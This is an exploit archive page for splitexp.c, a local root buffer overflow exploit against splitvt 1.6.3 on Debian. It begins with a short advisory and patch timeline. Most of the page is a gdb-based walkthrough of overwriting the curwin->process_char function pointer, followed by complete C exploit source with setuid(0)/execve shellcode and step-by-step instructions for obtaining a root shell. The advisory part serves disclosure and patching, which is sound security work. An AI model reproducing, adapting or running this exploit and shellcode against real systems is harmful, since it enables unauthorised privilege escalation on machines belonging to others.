what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

splitexp.c

splitexp.c
Posted Jun 15, 2000
Authored by Syzop

Splitvt 1.6.3 local root buffer overflow exploit - Tested on Debian. Includes lots of cool dubugging captures from gdb explaining what is going on.

tags | exploit, overflow, local, root
systems | linux, debian
SHA-256 | 1c165f96640daf61e31a962255839951c5bc33f52d8efa132b5f781b747f5d08

splitexp.c

Change Mirror Download
Problem
=======
Splitvt 1.6.3 contains a buffer overflow, if you have installed splitvt suid root (like
Debian/Redhat/etc, btw not slackware) you should upgrade to 1.6.4.


Solution
=======
Debian users:
see http://www.debian.org/security/2000/20000605a

Redhat:
Redhat did respond with a "that package comes from our 'contrib' section, which we do not maintain",
so there isn't a new rpm (yet?), but you could download the source and compile 1.6.4 yourself

Source:
http://www.devolution.com/~slouken/projects/splitvt/

The exploit
=========
The problem is in lock.c in lock_screen:
if (cnt < BUFSIZ-1) *(nextbuf++) = c;
This looks ok, but cnt is never increased :).
nextbuf is set to the buffer where the data should be stored,
1st time it's entered1 (password input), 2nd time it's entered2 (again password to verify), and:
static char entered1[BUFSIZ], entered2[BUFSIZ];
BUFSIZ = 8192.
Ok, let's see what gets overwritten... we start splitvt, ctrl+o, x:
Enter password: blah
Re-enter password: xxxxx<around 13.000 of x's (until we crash)>

Program received signal SIGSEGV, Segmentation fault.
0x400b5786 in getc ()
(gdb) backtrace
#0 0x400b5786 in getc ()
#1 0x804e028 in event_getc (X_event=0xbfffdb0c) at vtmouse.c:194
#2 0x8049d8c in main (argc=1, argv=0xbffffc14) at splitvt.c:387
#3 0x400847e2 in ()

Don't pay too much attention to the point of the crash,
the only thing we now know is we can't overwrite the return address (or not enough),
that's very logical with a function which is called for every single character.
The backtrace doesn't seem to be interessting, possibly we have overwritten some important var or something :).
We must search for another way to jump to our exploitcode...
Let's see how entered2 and the memory after it looks like:
0x805c940 <entered2>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805c950 <entered2+16>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805c960 <entered2+32>: 0x78787878 0x78787878 0x78787878 0x78787878
-- snip --
0x805e930 <entered2+8176>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805e940 <marked>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805e950 <on+8>: 0x78787878 0x78787878 0x78787878 0x78787878
etc etc, until:
0x805fa00 <next+128>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa10 <next+144>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa20 <tty_mode+4>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa30 <curwin>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa40 <physical+12>: 0x78787878 0x40141a78 0x40141b00 0x0805fa58

after further investigation the following vars are overwritten:
marked, oldattr, on, selbuf, master_fd, next, tty_mode, curwin, physical

Let's see...
cut-paste.c:14:static int marked, oldattr;
cut-paste.c:24:int *oldattr;
cut-paste.c:215:static char selbuf[4096];
misc.c:128:int master_fd;
vtmouse.c:163: static char prefix[8], *next;
misc.c:426:struct termio tty_mode; /* Save tty mode here */
vt100.c:31:window *curwin;
vt100.c:34:struct physical physical;

Only the last two seem interessting:
typedef struct {
position cursor; /* The current position of cursor */
int rows; /* The number of rows in window */
int cols; /* The number of cols in window */
int row_offset; /* The physical offset of upper edge */
int scr_upper; /* Upper limit of scroll region */
int scr_lower; /* Lower limit of scroll region */
void (*process_char)(); /* Next output processing function */
enum keystate key_state; /* For vt100 keypad */
unsigned char charset[NCHARSETS]; /* Current character set */
unsigned char textattr; /* Current text attributes */
int esc_param[MAX_PARAMS], *cur_param; /* Escape parameters */
int param_idx; /* Current index into esc_param */
int **videomem; /* Storage for the virtual screen */
int *tabstops; /* Tabstops in the columns */
position saved_cursor; /* Saved cursor position */
unsigned char saved_textattr; /* Saved text attributes */
} window;

struct physical {
window *subwins[2]; /* The smaller, split sub-windows */
int rows; /* The number of rows on the screen */
int cols; /* The number of cols on the screen */
};

Hey, that looks nice! curwin->process_char... 'Next output processing function'.
All we have to do is create our own window struct, put the address of our-window-struct
into *curwin and put a pointer in our-window-structure.process_char to the exploit code.
So:
- Program reads curwin
- Program reads process_char of our-window-struct
- Program executes the function.

Let's first see how many characters we exactly need for our overflow, so we aren't going
to overflow unneccesary characters (we don't want to segfault :P).
0x0805fa50 (curwin) - 0x0805c960 (buffer2) = 0x30f0 (12.528)
Nice, so we want curwin to point to the begin of buffer2, 0x0805c960, let's test:
(sleep 45; echo blaaaaaaaaa)
ctrl+o, x, 'enter password' bla,
'enter password again', [0x40](100x) + [0x60 0xc9 0x05 0x08](12.428x).
Program received signal SIGSEGV, Segmentation fault.
0x40404040 in ?? ()
(gdb)
Wow :))

Our exploit will look like:
<window-struct><NOPs><shellcode><pointers-to-window-struct>

I coded the exploit in c, using standard shellcode, then put the exploit output in a file,
ftp'd it to my windows (nobody is perfect :P) box and copy&pasted it using putty.
But every time I tried to paste the 1st line I got 'Program exited normally.',
so there was a special character in the exploit somewhere, after tracing I found out it was 0xFF.
Great, now I've to create my own shellcode :|...

There are 3 0xFF's... after disassembling we see this is because of the call -0x24 back,
the shellcode does a jmp +0x1f and a call -0x24 to find out where the string /bin/sh is located.
This isn't necessary since we know the exact location of the '/bin/sh' string.
After a little change and removed the call, we try again...
Wow we got a shell, but after a 'whoami' we aren't happy anymore.. no root, mmmm.
Ofcourse, we have to do a setuid(0) first...

After finding out how to do a setuid(0) in assembly language and again
coding shellcode we have a new exploit...
sh-2.02# root
sh-2.02# uid=0(root) gid=1000(syzop) egid=0(root) groups=1000(syzop)
sh-2.02#
The terminal is screwed up (just a 'reset' and it's ok), however we got root!

Now test it at the debian binary splitvt (latest version, 1.6.3-4).
First we have to find out the address of the buffer again,
let's see how we could do this...
--[lock.c:50]
if (strcmp(entered1, entered2) == 0) {
sprintf(message,
"Screen locked by %s. Enter password: ",
--
Nice :).
ROOT@P166:/# gdb splitvt
GNU gdb 4.17.m68k.objc.threads.hwwp.fpu.gnat
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) break strcmp
Breakpoint 1 at 0x8048fe4
(gdb) ignore 1 25
Will ignore next 25 crossings of breakpoint 1.
(gdb) run
splitvt is started.. ctrl+x, o, la, li, la, li, la, li etc.. ah, in the end:
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x40080e14 in strcmp ()
(gdb) disassemble strcmp
Dump of assembler code for function strcmp:
0x40080e10 <strcmp>: pushl %ebp
0x40080e11 <strcmp+1>: movl %esp,%ebp
0x40080e13 <strcmp+3>: pushl %esi
0x40080e14 <strcmp+4>: movl 0x8(%ebp),%esi
0x40080e17 <strcmp+7>: movl 0xc(%ebp),%edx
0x40080e1a <strcmp+10>: leal 0x0(%esi),%esi
(gdb) break *0x40080e17
Breakpoint 2 at 0x40080e17
(gdb) c
Continuing.

Breakpoint 2, 0x40080e17 in strcmp ()
(gdb) info register esi
esi: 0x80572e4 134574820

So entered2 is at 0x80572e4.

Working exploit for Debian attached (you have to change it for redhat).

History
======
[01-06] Discovered
[02-05] Working exploit
[03-06] Author, Debian and Redhat contacted
[04-06] Patched
[05-06] New debian packages available and published at site.
[14-06] Mail to bugtraq

Exploit info
=========
You have to paste the stuff exactly, so using your mouse in (normal) console Linux to copy&paste
won't work for several reasons, I've used a windows box with putty/CRT.

Cya

Syz.


/*
Local exploit for Debian splitvt 1.6.3-4 - by Syzop

Thanks to aleph1 for writing the article about
buffer overflows in phrack 49 :).

Greetz: Terror, Scorpion, ^Stealth^, Jornx, Multani,
and all other ppl of The^Alliance :)

How to use the exploit
-----------------------

1. Use: ./splitexp >expcode to put the exploitcode into 'expcode'.
2. Start splitvt
3. Enter something like 'sleep 60; echo lalala'
4. Ctrl+O, x, 'Enter password' bla
5. Then splitvt says 'Re-enter password', this is the moment
you have to follow the instructions in 'expcode' to paste
the exploitcode to splitvt (don't press enter, see 6).
6. Wait until the sleep is done (or kill 'sleep' yourself from
_another_ terminal).
7. You now got a rootshell,
type 'reset' to get a normal terminal :).

IMPORTANT NOTES!!
------------------

NOTE 1: You have to paste the data exactly, so just a paste with the mouse
won't work since the shellcode also contains 08's (backspaces),
So using mouse copy&paste in normal linux console mode doesn't work,
I used windows with 'putty'

NOTE 2: If you ftp the exploit code to a windows box, be sure to transfer
the file in ASCII mode :).

*/

#include <stdlib.h>
#include <stdio.h>

#define NOP 0x90

/*
The shellcode: setuid(0); execve("/bin/sh",NULL); exit(0);.
Pointer to /bin/sh is static, so filled with 0x90s here,
will be changed to an address at runtime.
*/
char shellcode[] =
"\x31\xc0\x50\x89\xc3\xb0\x17\xcd"
"\x80\xbe\x90\x90\x90\x90\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80/bin/sh.";

void main(int argc, char *argv[]) {
char *buff, *ptr;
char *pointerz;
long *addr_ptr, addr;
int i;

long addr1=0x80592e4; // pointer to the middle of our window-struct
long addr2; // pointer to position after 25% of the NOPs
long addr3; // pointer to '/bin/sh' string

fprintf(stderr,"Splitvt exploit by Syzop\n\n");
if (argc > 1) addr1 = atol(argv[1]);

addr2=addr1+350;
addr3=addr1+444;

if (!(buff = malloc(1500))) {
printf("Can't allocate memory.\n");
exit(0);
}


// set offset-to-/bin/sh in shellcode
ptr = shellcode+10;
addr_ptr = (long *) ptr;
*(addr_ptr++) = addr3;

// 0-300: the window struct
// first filling with 0x40's
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < 300; i+=4)
*(addr_ptr++) = 0x40404040;

// set pointer to addr2 in curwin->process_char
ptr = buff + 28;
addr_ptr = (long *) ptr;
*(addr_ptr++) = addr2; // this is the pointer to addr2

for (i = 300; i < 528; i++) // 300-END NOPs
buff[i] = NOP;

// 400-...: shellcode
ptr = buff + 400;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[528] = '\0';

// Create the pointers-to-addr1-string.

pointerz=(char *)malloc(1004);
ptr = pointerz;
addr_ptr = (long *) ptr;
for (i = 0; i < 1000; i+=4) // 0-300: the window-structure
*(addr_ptr++) = addr1;

pointerz[1000]=0;
printf("Paste this 1x:\n%s\n\nAnd this 12x:\n%s\n", buff, pointerz);
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close